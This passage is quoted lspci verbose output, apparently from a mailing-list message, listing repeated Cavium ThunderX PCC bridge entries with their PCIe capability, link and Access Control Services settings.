> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:15.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0f, subordinate=0f, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:16.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=10, subordinate=10, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:17.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=11, subordinate=11, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:18.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=12, subordinate=12, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:19.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=13, subordinate=13, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1a.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=14, subordinate=14, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1b.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=15, subordinate=15, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=16, subordinate=16, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=17, subordinate=17, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=18, subordinate=18, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
